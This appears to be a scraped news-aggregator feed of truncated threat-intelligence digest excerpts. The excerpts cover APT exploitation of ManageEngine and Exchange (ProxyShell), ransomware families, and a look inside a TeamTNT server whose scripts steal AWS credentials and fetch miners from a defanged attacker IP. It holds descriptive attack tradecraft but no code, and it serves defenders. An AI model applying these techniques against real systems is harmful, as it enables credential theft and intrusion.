APT 37 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer (published: November 8, 2021) US Cybersecurity and Infrastructure Security Agency (CISA) has released an alert about advanced persistent threat (APT) actors exploiting vulnerability in self-service password management and single sign-on solution known as ManageEngine ADSelfService Plus. PaloAlto, Microsoft & Lumen Technologies did a joint effort to track, analyse and mitigate this threat. The attack deployed a webshell and created a registry key for persistence. The actor leveraged leased infrastructure in the US to scan hundreds of organizations and compromised at least nine global organizations across technology, defense, healthcare and education industries. Analyst Comment: This actor has used some unique techniques in these attacks including: a blockchain based legitimate remote control application, and credential stealing tool which hooks specific functions from the LSASS process. It’s important to make sure your EDR solution is configured to and supports detecting such advanced techniques in order to detect such attacks. MITRE ATT&CK: [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Ingress Tool Transfer - T1105 | [MITRE ATT&CK] Scripting - T1064 | [MITRE ATT&CK] Valid Accounts - T1078 | [MITRE ATT&CK] Application Layer Protocol - T1071 | [MITRE ATT&CK] Credentials in Files - T1081 | [MITRE ATT&CK] Brute Force - T1110 | [MITRE ATT&CK] Data Staged - T1074 | [MITRE ATT&CK] External Remote Services - T1133 | [MITRE ATT&CK] Hooking - T1179 | [MITRE ATT&CK] Registry Run Keys / Startup Folder - T1060 | [MITRE ATT&CK] Pass the Hash - T1075 Tags: Threat Group 3390, APT27, TG-3390, Emissary Panda, WildFire, NGLite backdoor, Cobalt Strike, Godzilla, PwDump, beacon, ChinaChopper, CVE-2021-40539, Healthcare, Military, North America, China REvil Affiliates Arrested; DOJ Seizes $6.1M in Ransom (published: November 9, 2021) A 22 year old Ukranian national named Yaroslav Vasinskyi, has been charged with conducting ransomware attacks by the U.S Department of Justice (DOJ). These attacks include t]]> 2021-11-16T17:34:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-revil-affiliates-arrested-electronics-retail-giant-hit-by-ransomware-robinhood-breach-zero-day-in-palo-alto-security-appliance-and-more www.secnews.physaphae.fr/article.php?IdArticle=3667130 False Ransomware,Data Breach,Malware,Tool,Vulnerability,Threat,Medical APT 38,APT 27,APT 1 None CISCO Talos - Cisco Research blog ]]> 2021-11-10T14:11:03+00:00 http://feedproxy.google.com/~r/feedburner/Talos/~3/z1BNb2_mgJ8/kimsuky-abuses-blogs-delivers-malware.html www.secnews.physaphae.fr/article.php?IdArticle=3641450 False Malware,Cloud APT 37 None Security Affairs - Blog Secu 2021-10-27T09:03:08+00:00 https://securityaffairs.co/wordpress/123831/apt/north-korea-lazarus-supply-chain.html?utm_source=rss&utm_medium=rss&utm_campaign=north-korea-lazarus-supply-chain www.secnews.physaphae.fr/article.php?IdArticle=3571716 False Malware APT 38,APT 28 None The Hacker News - The Hacker News est un blog de news de hack (surprenant non?) ]]> 2021-10-27T00:14:47+00:00 http://feedproxy.google.com/~r/TheHackersNews/~3/nYK8fTcVuRM/latest-report-uncovers-supply-chain.html www.secnews.physaphae.fr/article.php?IdArticle=3571547 False Malware,Threat,Medical APT 38,APT 28 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Russian Cyberattacks Pose Greater Risk to Governments and Other Insights from Our Annual Report (published: October 7, 2021) Approximately 58% of all nation-state attacks observed by Microsoft between July 2020 and June 2021 have been attributed to the Russian-sponsored threat groups, specifically to Cozy Bear (APT29, Nobelium) associated with the Russian Foreign Intelligence Service (SVR). The United States, Ukraine, and the UK were the top three targeted by them. Russian Advanced Persistent Threat (APT) actors increased their effectiveness from a 21% successful compromise rate to a 32% rate comparing year to year. They achieve it by starting an attack with supply-chain compromise, utilizing effective tools such as web shells, and increasing their skills with the cloud environment targeting. Russian APTs are increasingly targeting government agencies for intelligence gathering, which jumped from 3% of their targets a year ago to 53% – largely agencies involved in foreign policy, national security, or defense. Following Russia by the number of APT cyberattacks were North Korea (23%), Iran (11%), and China (8%). Analyst Comment: As the collection of intrusions for potential disruption operations via critical infrastructure attacks became too risky for Russia, it refocused back to gaining access to and harvesting intelligence. The scale and growing effectiveness of the cyberespionage requires a defence-in-depth approach and tools such as Anomali Match that provide real-time forensics capability to identify potential breaches and known actor attributions. MITRE ATT&CK: [MITRE ATT&CK] Supply Chain Compromise - T1195 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Brute Force - T1110 Tags: Fancy Bear, APT28, APT29, The Dukes, Strontium, Nobelium, Energetic Bear, Cozy Bear, Government, APT, Russia, SVR, China, North Korea, USA, UK, Ukraine, Iran Ransomware in the CIS (published: October 7, 2021) Many prominent ransomware groups have members located in Russia and the Commonwealth of Independent States (CIS) - and they avoid targeting this region. Still, businesses in the CIS are under the risk of being targeted by dozens of lesser-known ransomware groups. Researchers from Kaspersky Labs have published a report detailing nine business-oriented ransomware trojans that were most active in the CIS in the first half of 2021. These ransomware families are BigBobRoss (TheDMR), Cryakl (CryLock), CryptConsole, Crysis (Dharma), Fonix (XINOF), Limbozar (VoidCrypt), Phobos (Eking), Thanos (Hakbit), and XMRLocker. The oldest, Cryakl, has been around since April 2014, and the newest, XMRLocker, was first detected in August 2020. Most of them were mainly distributed via the cracking of Remote Deskto]]> 2021-10-12T17:41:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-aerospace-and-telecoms-targeted-by-iranian-malkamak-group-cozy-bear-refocuses-on-cyberespionage-wicked-panda-is-traced-by-malleable-c2-profiles-and-more www.secnews.physaphae.fr/article.php?IdArticle=3505382 False Ransomware,Malware,Tool,Threat,Guideline,Prediction APT 41,APT 41,APT 39,APT 29,APT 29,APT 28 None Anomali - Firm Blog Figure 1 - Overview of /cmd/ Contained on the server are approximately 50 scripts, most of which are already documented, located in the /cmd/ directory. The objective of the scripts vary and include the following: AWS Credential Stealer Diamorphine Rootkit IP Scanners Mountsploit Scripts to set up utils Scripts to setup miners Scripts to remove previous miners Figure 2 - Snippet of AWS Credential Stealer Script Some notable scripts, for example, is the script that steals AWS EC2 credentials, shown above in Figure 2. The AWS access key, secret key, and token are piped into a text file that is uploaded to the Command and Control (C2) server. Figure 3 - Chimaera_Kubernetes_root_PayLoad_2.sh Another interesting script is shown in Figure 3 above, which checks the architecture of the system, and retrieves the XMRig miner version for that architecture from another open TeamTNT server, 85.214.149[.]236. Binaries (/bin/) Figure 4 - Overview of /bin Within the /bin/ folder, shown in Figure 4 above, there is a collection of malicious binaries and utilities that TeamTNT use in their operations. Among the files are well-known samples that are attributed to TeamTNT, including the Tsunami backdoor and a XMRig cryptominer. Some of the tools have the source code located on the server, such as TeamTNT Bot. The folder /a.t.b contains the source code for the TeamTNT bot, shown in Figures 5 and 6 below. In addition, the same binaries have been found on a TeamTNT Docker, noted in Appendix A. ]]> 2021-10-06T19:06:00+00:00 https://www.anomali.com/blog/inside-teamtnts-impressive-arsenal-a-look-into-a-teamtnt-server www.secnews.physaphae.fr/article.php?IdArticle=3479896 False Malware,Tool,Threat Uber,APT 32 None Anomali - Firm Blog Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Current Anomali ThreatStream users can query these indicators under the “anomali cyber watch” tag. Trending Cyber News and Threat Intelligence Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit (published: August 23, 2021) Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks. Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised. MITRE ATT&CK: [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Web Shell - T1100 | [MITRE ATT&CK] Hidden Files and Directories - T1158 | [MITRE ATT&CK] Source - T1153 Tags: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, Exchange, ProxyShell, backdoor LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers (published: August 20, 2021) A new ransomware family, named Lockfile by Symantec researchers, has been observed on the network of a US financial organization. The first known instance of this ransomware was July 20, 2021, and activity is ongoing. This ransomware has been seen largely targeting organizations in a wide range of industries across the US and Asia. The initial access vector remains unknown at this time, but the ransomware leverages the incompletely patched PetitPotam vulnerability (CVE-2021-36942) in Microsoft's Exchange Server to pivot to Domain Controllers (DCs) which are then leveraged to deploy ransomware tools to devices that connect to the DC. The attackers appear to remain resident on the network for several]]> 2021-08-24T17:11:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-proxyshell-being-exploited-to-install-webshells-and-ransomware-neurevt-trojan-targeting-mexican-users-secret-terrorist-watchlist-exposed-and-more www.secnews.physaphae.fr/article.php?IdArticle=3276119 False Ransomware,Malware,Tool,Vulnerability,Threat,Patching,Cloud APT 37 None